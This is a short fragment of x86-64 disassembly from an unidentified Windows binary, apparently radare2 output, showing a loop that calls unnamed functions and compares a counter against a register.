mov rcx, qword [rbx]
call fcn.140001bf0
lea rcx, [rsp + 0x28]
call fcn.1400011a0
mov rax, qword [rsp + 0x28]
cmp rax, rsi
jge 0x1400017c0
lea rcx, [rax + rbp]
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x20]
call fcn.140001e80
jmp 0x140001750
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
call fcn.140001e80
jmp 0x140001750